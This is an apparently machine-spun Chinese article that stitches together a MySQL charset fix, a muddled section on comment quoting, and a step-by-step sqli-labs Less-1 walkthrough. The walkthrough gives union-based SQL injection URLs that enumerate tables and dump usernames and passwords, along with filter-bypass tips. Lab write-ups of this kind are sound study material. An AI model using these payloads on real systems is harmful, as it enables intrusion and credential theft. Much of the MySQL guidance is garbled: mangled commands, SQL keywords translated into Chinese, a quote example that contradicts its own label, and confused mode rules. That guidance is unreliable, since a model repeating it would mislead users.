mysql中注释显示中文乱码怎么解决

说实话,这个问题你得一步一步来处理。
你看,你可以通过使用“%cola%”和“%char%”这样的两个命令来查出数据库和服务器使用的字符集。
如果你知道都是gbk2 3 1 2 或者gbk的话,你就应该知道这个东西只能支持简体汉字,那些特殊字符永远不能像繁体汉字那样输入。

该怎么办?您只能将字符集更改为 UTF-8 它的工作原理如下:找到记事本或 UltraEdit,然后打开 MySQL 安装目录中的 my.ini 文件。
然后Ctrl+F 将搜索default-character-weight。
出现提示时,将下一个字符转换为 UTF8 注意,需要改两个地方,一处是客户端,一处是服务器端。
保存更改并重新启动 MySQL 服务。

重启完成后,登录并使用“%cola%”等显示,并使用“%char%”等命令确保字符集更改为UTF-8 这有效,否则无效。

MySQL 注释符号:单引号还是双引号?

To be honest, I also encountered this trap when I first came into contact with MySQL annotations.当时我在项目中明明写了单引号,但是编译器给了我一个危险信号,说这是一个语法错误。
I thought about it for a long time and finally figured out that double quotes were used when swiping.真是太神奇了。

MySQL中的这条规则非常清楚。
想一想:如果COMMENT关键字后面跟的是评论内容,就必须使用英文单引号。
For example, in the following example, I use it like this:
sql 创建表 my_table ( id INT NOT NULL AUTO_INCRMENT, 名称 VARCHAR(2 5 5 ) NOT NULL, COMMENT “This table stores customer information” –
Single quotes, no problem ) 引擎=InnoDB;
如果你这样写,并且使用双引号,MySQL会直接杀掉你:
sql 创建表 my_table ( id INT NOT NULL AUTO_INCRMENT, 名称 VARCHAR(2 5 5 ) NOT NULL, COMMENT “This table stores customer information” –
Double quotes, error! ) 引擎=InnoDB;
There are actually reasons behind the database design.想想看,MySQL中使用反引号()来标识表名和字段名。
例如,如果创建一个名为“select”的表,并且不使用反引号,系统会将其视为SQL关键字,直接报错。
但是,MySQL 默认区分单引号和双引号,单引号仅被视为字符串。

有趣的是,Oracle 中默认使用双引号,但在 MySQL 中,除非显式设置 ANSI_QUOTES 模式,否则根本不识别双引号。
我的一个同事犯了这个错误。
When he moved from Oracle, he immediately used double quotes for comments. This caused the SQL of the entire project to collapse.经过几天的排查,终于发现是模式设置的问题。

There is another detail that needs to be paid attention to, namely SQL mode. MySQL的SQL模式就像一个开关,可以影响很多语法行为。
我记得有一次在一个旧项目中,注释明显使用了单引号,结果是一个错误。
后来查手册,发现项目中启用了ANSI_QUOTES模式,所以也使用双引号作为标识符。
在这种情况下,您需要使用单引号或更改模式。

需要明确的是,最安全的方法是将注释括在单引号中,将名称括在反引号中。
请记住阅读特殊模式的文档,不要直接阅读。
后来建表的时候,我用文本编辑器写了注释,然后复制到数据库中。
我担心我的手会颤抖,我会使用错误的引语。

sqli-labs 第一关

首先要做的是查看是否有注射部位。

当你访问这个 URL http://localhost/sqli-labs/Less-1 /?id=1 时,这是一个普通请求,询问 id 为 1 的用户信息。

然后尝试在 id 后面添加单引号将其更改为 http://localhost/sqli-labs/Less-1 /?id=1 ' 并查看服务器的反应。
如果报错表明SQL语法不正确,比如“You have an error in your SQL语法”,这说明存在注入点。
这是因为单引号没有关闭并且 SQL 已断开连接。

尝试再次添加注释字符,例如“--+”。
如果此时页面显示正常,则说明单引号已关闭,下面的SQL被注释掉了。
这是字符注入的进一步证据。

在获取数据步骤中,需要使用order by来尝试字段的个数。
比如http://localhost/sqli-labs/Less-1 /?id=1 ' + order by 3 --+,显示正常,添加1 http://localhost/sqli-labs/Less-1 /?id=1 ' + order by 4 --+,报错有3 个字段。

然后进行联合查询,如http://localhost/sqli-labs/Less-1 /?id=-1 ' + union select 1 ,2 ,3 --+,看看页面显示什么。
位置 2 和 3 是用于显示您构建的内容的占位符。

要检查数据库名称,可以使用info_schema,例如http://localhost/sqli-labs/Less-1 /?id=-1 ' + union select 1 ,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+,它可以显示数据库名称(如安全性)和表名(如电子邮件、用户)。

查看表中的列名,如http://localhost/sqli-labs/Less-1 /?id=-1 ' + union select 1 ,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ 可以看到users表的列名(id、username、password)。

最后查看表中的数据,如http://localhost/sqli-labs/Less-1 /?id=-1 ' + union select 1 ,group_concat(username),group_concat(password) from users --+,可以看到用户名和密码。

在规避限制时,有时会使用错误报告函数,例如EXP(7 09 ),它会报告错误。
使用left、mid、substr截取字符串。
使用if和casewhen进行条件判断。
system_user()可以看到当前用户,database()可以看到数据库名称,version()可以看到版本。

空格是否被过滤?替换为 %2 0 或 //。
这些提示可以帮助您。

就这样,第一关就完成了。